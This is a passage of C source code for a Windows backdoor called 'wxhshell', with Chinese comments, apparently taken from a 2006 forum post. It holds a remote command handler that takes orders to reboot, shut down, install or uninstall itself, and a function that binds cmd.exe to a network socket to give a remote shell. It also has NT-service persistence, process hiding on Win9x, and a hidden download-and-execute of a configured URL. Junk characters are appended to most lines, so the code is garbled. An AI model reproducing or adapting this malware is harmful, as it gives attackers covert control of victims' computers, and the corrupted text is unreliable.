  // 帮助 }<?1\k  
  case '?': { 9nW/pv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9[.vtk\iyH  
    break; a3}#lY):  
  } GMc{g  
  // 安装 |.kYomJ   
  case 'i': { Hj&mwn]  
    if(Install()) pPr/r& r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rHhn)m  
    else #XSs.i{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cH$zDm1  
    break; />1Ndj  
    } (S ~|hk^  
  // 卸载 43_;Z| T  
  case 'r': { j TVh`d< N  
    if(Uninstall()) :|%dV}j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BN!N_r  
    else )Rhy^<xH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E+XpgR5  
    break; 8)I,WWj  
    } rKZ1 c,y  
  // 显示 wxhshell 所在路径 Bl,rvk2  
  case 'p': { Fqtgw8  
    char svExeFile[MAX_PATH]; FFE IsB"9  
    strcpy(svExeFile,"\n\r"); fAx7_}k/ m  
      strcat(svExeFile,ExeFile); "&jWC  
        send(wsh,svExeFile,strlen(svExeFile),0); ;qM I3wF  
    break; InI^,&<  
    } M9mC\Iz[  
  // 重启 M7D@Uj&xx(  
  case 'b': { 9OIX5$,S;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v=n'#:k  
    if(Boot(REBOOT)) H8^U!"~E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IYtM'!u  
    else { 4=]CAO=O  
    closesocket(wsh); K(*QhKX  
    ExitThread(0); <hG=0Zcr  
    } &V. ps1  
    break; F_8 < tA6  
    } .}KY*y  
  // 关机 8J60+2Wa  
  case 'd': { 45cMG~]p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *e E&ptx1  
    if(Boot(SHUTDOWN)) Obl']Hr{y9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V0'T)  
    else { RRYm.dMIw  
    closesocket(wsh); `o7m)T')  
    ExitThread(0); 8<z]rLQw?%  
    } }(}+I}&~  
    break; f? sW^ d;  
    } 4[@`j{  
  // 获取shell gO C5  
  case 's': { li>`9qCmI  
    CmdShell(wsh); O0`k6$=6r  
    closesocket(wsh); o+U]=q*|)$  
    ExitThread(0); 1PwqW g-\\  
    break; "2cJ'n/L  
  } d'1 L#`?  
  // 退出 7"L`|O?8)  
  case 'x': { +qz"+g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FcR(uv<  
    CloseIt(wsh); F"7dN*7  
    break; $s]c'D)  
    } ]k2Jf}|  
  // 离开 jI`1>>N&1  
  case 'q': { 3$YgGum  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); caA>; +aBH  
    closesocket(wsh); .gmNE$d  
    WSACleanup(); J N5<=x5r  
    exit(1); _ZgIm3p0A  
    break; GWs[a$|  
        } x50,4J%J'r  
  } .(!> *ka|  
  } U p1&(  
MGUzvSf  
  // 提示信息 7 S^iGe  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?sb Ob  
} ,TuDG*YA  
  } nF0V`O \T  
b >R/=tx  
  return; D;@*  
} zu6Y*{$>g  
 T~I5W=y  
// shell模块句柄 zB6u%uWR  
int CmdShell(SOCKET sock) '\[o>n2  
{ kNX"Vo]1  
STARTUPINFO si; :*GLLjS;  
ZeroMemory(&si,sizeof(si)); !P*1^8b`f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E;l|I A/7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [qhQj\cK  
PROCESS_INFORMATION ProcessInfo; +J`EBoIo  
char cmdline[]="cmd"; \ Y[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $4yv)6G  
  return 0; v?Q|;<   
} {Mt4QA5iZ  
;g[C=yhK`C  
// 自身启动模式 ?A|8J5E V  
int StartFromService(void) rDNz<{evj  
{ A?{ X5` y  
typedef struct zo*YPDEm"  
{ %vPs38Fks  
  DWORD ExitStatus; :r^c_Ui  
  DWORD PebBaseAddress; )9sRDNr  
  DWORD AffinityMask; & i,on6  
  DWORD BasePriority; #bX~.jKW  
  ULONG UniqueProcessId; TV$Pl[m   
  ULONG InheritedFromUniqueProcessId; (<?6X9F:N  
}   PROCESS_BASIC_INFORMATION; V=";vRS8  
?2ZggV  
PROCNTQSIP NtQueryInformationProcess; b-}nv`9C  
^WDAW#f*<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )+]8T6~ N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q$vATT  
S4RvWTtQV  
  HANDLE             hProcess; m&)5QX  
  PROCESS_BASIC_INFORMATION pbi; L(tA~Z"k  
_= RA-qZ"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r&AX  
  if(NULL == hInst ) return 0; =2HR+  
& [)1LRt_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e|:#Y^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N>z<v\`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b2;+a(  
k/+-Tq;  
  if (!NtQueryInformationProcess) return 0; u|m>h(O  
J[ 9yQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AJ-p|[wPz  
  if(!hProcess) return 0; "kC uCc  
[jl'5ld  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Uf^zA/33  
Kg0Vbzvb  
  CloseHandle(hProcess); G_EU/p<Q  
~.qzQ_O/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H"PnX-fGN  
if(hProcess==NULL) return 0; a\an  
1(C3;qlVD  
HMODULE hMod;  V"n0"\k,  
char procName[255]; I(fq4$  
unsigned long cbNeeded; O!+LM{> F  
M7"I]$|\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V>}@--$c-r  
]PVPt,c  
  CloseHandle(hProcess); k|W=kt$P  
%OWLM  
if(strstr(procName,"services")) return 1; // 以服务启动 u}u;jTi> 2  
@vWC "W  
  return 0; // 注册表启动 Ui6f>0?  
} (uG.s%I  
QF/A-[V  
// 主模块 +pU\;x  
int StartWxhshell(LPSTR lpCmdLine) =PXQ X(_  
{ n`";ctQT  
  SOCKET wsl; fsa  
BOOL val=TRUE; #~um F%#  
  int port=0; ND[u$N+5x"  
  struct sockaddr_in door; |He,v/r  
l,}{Y4\G  
  if(wscfg.ws_autoins) Install(); KE\p|Xi  
&.ZW1TxE8  
port=atoi(lpCmdLine); D$g|f[l  
$M\|zUQu.  
if(port<=0) port=wscfg.ws_port; iTgGf  
-|^}~yOx0=  
  WSADATA data; )5Yv7x(K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z5juyzj  
7sECbbJT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5Cxh >,k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "Y@rNmBj  
  door.sin_family = AF_INET; &Im{p7gf!b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ")|3ZB7>*  
  door.sin_port = htons(port); m7X&"0X  
+}c '4hRv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4,L(  
closesocket(wsl); IVD1 mk  
return 1; Q!/<=95E  
} xlVQ[Mt  
Eq-fR~< 9  
  if(listen(wsl,2) == INVALID_SOCKET) { grEmp9Q ?  
closesocket(wsl); <{@?c  
return 1; MdK!Y  
} .J' 8d"+  
  Wxhshell(wsl); 4?XX_=+F|  
  WSACleanup(); c^P8)g Pf  
_[8xq:G  
return 0; 87%t=X  
P9Hv){z  
} ^_b+o  
,j wU\xo`C  
// 以NT服务方式启动 >E^?<}E~.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lTe}[@(  
{ K7}EL|Kx  
DWORD   status = 0; h: :'s&|  
  DWORD   specificError = 0xfffffff; "pq#A*  
]#]m_+} Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Saa# Mj`M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \dj&4u3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AfKJa DKf  
  serviceStatus.dwWin32ExitCode     = 0; ~[XDK`B  
  serviceStatus.dwServiceSpecificExitCode = 0; 2<}^m/}  
  serviceStatus.dwCheckPoint       = 0; q[{q3-W  
  serviceStatus.dwWaitHint       = 0; -e#YWMo(  
B e+'&+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {\22C `9t  
  if (hServiceStatusHandle==0) return; B]dHMLzl  
\7Hzj0hSi  
status = GetLastError(); ey<u  
  if (status!=NO_ERROR) v'*  
{ "!<Kmh5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6'W79  
    serviceStatus.dwCheckPoint       = 0; ~rE U83  
    serviceStatus.dwWaitHint       = 0; xB:,l'\G  
    serviceStatus.dwWin32ExitCode     = status; RC Fb&,51  
    serviceStatus.dwServiceSpecificExitCode = specificError; GL&ri!,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f9H;e(D9]  
    return; ]d?`3{h9LD  
  } yA*~O$~Y  
2|F.JG^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dT8m$}h9  
  serviceStatus.dwCheckPoint       = 0; pH.wCD:1n  
  serviceStatus.dwWaitHint       = 0; 6}mbj=E`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qF=D,Dlz  
} [oOZ6\?HB  
P(G$@},W  
// 处理NT服务事件,比如:启动、停止 B9|!8V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L*bUjR,C  
{ zR h1  
switch(fdwControl) fV*x2g7w  
{ Ous[{"-J  
case SERVICE_CONTROL_STOP: s]`&9{=E  
  serviceStatus.dwWin32ExitCode = 0; \1D~4Gz6}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M $#zvcp  
  serviceStatus.dwCheckPoint   = 0; i+T#z  
  serviceStatus.dwWaitHint     = 0; G T#hqt'1x  
  { ,(Fo%.j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NylN-X7[#  
  } /s& xI  
  return; QlI g'B6  
case SERVICE_CONTROL_PAUSE: p3I{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L~A"%T,/h  
  break; T[>h6d  
case SERVICE_CONTROL_CONTINUE: ,GXwi|Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &H,5f#  
  break; q a#Fa)g*  
case SERVICE_CONTROL_INTERROGATE: 6FG h=~{3,  
  break; t ),~w,7(J  
}; +Y(cs&V*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t3u"2B7oG  
} bO1J#bcZ  
raY5 nc{  
// 标准应用程序主函数 S$\l M<M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) owZj Q  
{ *#e%3N05_  
'{XDhK  
// 获取操作系统版本 :k8>)x] )  
OsIsNt=GetOsVer(); *MW)APw=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UBuk-tq  
,WA7Kp9  
  // 从命令行安装 UTKS<.q  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,e( |,u  
S6,AY(V  
  // 下载执行文件 ;YNN)P%"  
if(wscfg.ws_downexe) { \c>9f"jS_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eS fT +UL  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q6Y1Jr">X  
} ZgF-.(GV  
_1hc^j  
if(!OsIsNt) { %Fq"4%  
// 如果时win9x,隐藏进程并且设置为注册表启动 -[i9a:eRM  
HideProc(); SSycQ4[{o  
StartWxhshell(lpCmdLine); } IFZ$Y  
} xy46].x-  
else >8Zz<S&z  
  if(StartFromService()) 67%eAS  
  // 以服务方式启动 Mcc774'*9  
  StartServiceCtrlDispatcher(DispatchTable); jVL<7@_*  
else ^"v~hjM#  
  // 普通方式启动 UevbLt1Y  
  StartWxhshell(lpCmdLine); J|_&3@r  
^M6v;8EU  
return 0; [ik D4p=  
}
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只看该作者 1 发表于: 2006-10-10
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